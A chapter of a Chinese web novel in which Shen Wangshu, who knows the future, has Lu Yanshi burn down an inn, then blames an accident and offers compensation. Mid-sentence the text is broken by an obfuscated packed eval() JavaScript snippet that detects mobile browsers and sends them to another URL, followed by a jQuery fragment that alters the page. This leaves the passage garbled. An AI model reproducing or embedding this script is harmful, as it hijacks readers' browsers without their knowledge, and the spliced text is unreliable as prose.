她想到他满脸是血的模样,想到他在众人围攻之中倒下的模样,那副样子与面前的陆晏时重叠在一起,叫沈望舒再也控制不住,鼻子一酸,眼泪“啪嗒”一声就从眼眶里掉了下来。 陆晏时登时慌了,赶忙抬起手用衣袖去擦沈望舒的眼泪,又哪里还记得要去制止她?他压低了声音,柔声道:“是我错了,是我太凶了吓着你,你别哭,好不好?” 他那语气宛若在哄一个三五岁的幼童,为她擦眼泪的动作也十分轻柔,又哪里会吓到她半分? 沈望舒没法告诉他大家都死了两回、若是不想办法还要死上第三回的事情,更不能告诉陆晏时自己知晓未来的事情,她憋着一肚子生死攸关的秘密着实难受,只能边哭边和陆晏时说:“不是、不是的……” “我不是任性,也不是图好玩,我就是再如何骄纵蛮横,也不可能做这样伤天害理的事情,”沈望舒呆愣楞地站在原地,任由陆晏时给自己擦眼泪,“我没办法告诉你原因……但我这样做都是为了救人。” 她自己也不知道为何自己心里会这般委屈,更不知道自己为什么会这样脆弱想哭,分明从前那样辛苦的日子都咬着牙坚持了下来,如今都有了一个可以无限重开的系统、有了那样多的钱财,却在心上人的面前变成了一个柔弱的少女,向他展示出了自己的软弱,想要得到陆晏时的理解与支持。 她更害怕清档重来之后陆晏时会忘了自己。 沈望舒不是他的天命之女,她没有自信在重新开始之后,还能与陆晏时有这样好的关系,所以哪怕他觉得自己奇怪也好,觉得自己在发疯也罢,她都一定要把这个客栈烧了! 沈望舒盯着他的眼睛,一字一句地道:“你信我。” 她哭得双眼通红,似梨花带雨一般楚楚可怜,陆晏时看着看着,突然就理解了为何当年周幽王会为了博褒姒一笑而烽火戏诸侯了。 如今换成是他,也要心甘情愿地做那个荒唐无度的周幽王了。 陆晏时默默接过沈望舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408959|131302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里的灯,道:“我来吧。” 既然她认定这个客栈非烧不可,那就让自己来做这个恶人,总不能叫沈望舒干净的手沾染上这样的脏事,沈望舒任由他拿走手里的东西,看着陆晏时将桌椅推倒和被褥拉到一起,又从怀里摸出个火折子来之后,又长长地舒了一口气,好似在下什么不得了的决心。 待这一口气出完,陆晏时终于“咔”地一声点燃了火折子,那一点火光在昏暗的房间里好似流星一般在半空中划出一道痕迹,完美地落在浇了灯油的桌椅上,火瞬间“哗”地一声燃了起来! 沈望舒看见火着起来,竟也不着急跑,还拉着陆晏时在门外等了一等,待到整个屋子几乎被熊熊火光吞没时,沈望舒这才拉起陆晏时的手,一边跑一边大喊:“快跑啊!!!着火了!!” 她的动静好似一滴水落进滚滚的油锅里,叫这一间小小的客栈霎时间沸腾了起来,在房间里休息的、在楼下吃饭的,看见那骇人的黑色浓烟从楼上奔涌而下,皆被吓得肝胆俱裂,纷纷丢下手里的东西、连滚带爬得往外跑去,掌柜的原本还和小二提着水桶要去灭火,奈何这火势起的又快又猛,那几桶水完全就是杯水车薪,根本救不得半点! 火烧了不到一刻钟,镇上的居民都被这滔天的火光所吸引来,连官府的人也纷纷赶来,众人手忙脚乱、齐心协力地忙了快半个时辰,才终于将这一场火给浇灭了。 但这客栈也几乎被烧了个精光。 万幸的是店里人及时撤离,并未造成什么人员伤亡,如今大家站在客栈跟前的空地里头大眼瞪小眼,都不知为何会突然起了这样大的火。 官府的人来问话的时候,陆晏时正拿着张帕子,仔仔细细地擦拭着沈望舒手上沾到的污渍,好似在擦什么不得了的稀世珍宝,沈望舒看着他的动作,心想若不是那个烤冷面的太子,如今这一幕不知该多么令人心动,真的好可惜。 她瞧见官府的人来了,当即又皱起眉毛,装出一副可怜巴巴的样子,断断续续地道:“是我方才、方才不小心打翻了灯台……” 她这话一说,在场的人顿时怒火攻心,正要对她破口大骂时,又听得沈望舒道:“大家的损失我都会以三倍的价格赔给你们的。” “客栈的损失我也会照赔,一分钱都不会少。” 她一句话将众人的怒火堵了回去,却又听得有人问她:“你口说无凭!今日若是跑了该怎么办?!” 沈望舒就等着有人问这话,赶忙开口冲身旁的官差道:“让官夜们把大家都带回官府里,我不就跑不掉了吗?” “索性这客栈也都烧光了,今夜这样多的人都无处可去,就都到衙门里头挤一挤,明日一早,我便给大家一个一个的赔付,赖也赖不掉,如何?” 这小镇里总共也就两家客栈,这样多的人一下子无处可去,除了在衙门里凑合一晚上之外,似乎也没了别的办法。 她就不信,到了官府里头,这样多的人挤在一起,又有官兵轮值,对方还能下手不成?!